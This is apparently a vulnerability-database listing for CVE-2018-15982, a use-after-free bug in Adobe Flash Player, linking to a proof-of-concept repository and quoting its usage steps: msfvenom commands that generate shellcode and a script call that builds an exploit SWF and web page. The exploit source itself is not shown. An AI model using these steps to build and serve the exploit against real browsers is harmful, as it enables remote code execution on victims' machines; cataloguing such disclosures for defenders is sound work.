CVE-2018-15982 PoC — Adobe Flash Player 安全漏洞

Source

https://github.com/Ridter/CVE-2018-15982_EXP

Associated Vulnerability

Title: Adobe Flash Player 安全漏洞 (CVE-2018-15982)
Description:Flash Player versions 31.0.0.153 and earlier, and 31.0.0.108 and earlier have a use after free vulnerability. Successful exploitation could lead to arbitrary code execution.

Description

exp of CVE-2018-15982

Readme

# CVE-2018-15982_EXP

## Usage

```
msfvenom -p windows/exec cmd=notepad.exe -f raw > 86.bin
msfvenom -p windows/x64/exec cmd=notepad.exe -f raw > 64.bin
python CVE_2018_15982.py -i 86.bin -I 64.bin
```

output `exp.swf` and `index.html`。

## Demo

https://twitter.com/Evi1cg/status/1071284773169950721

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →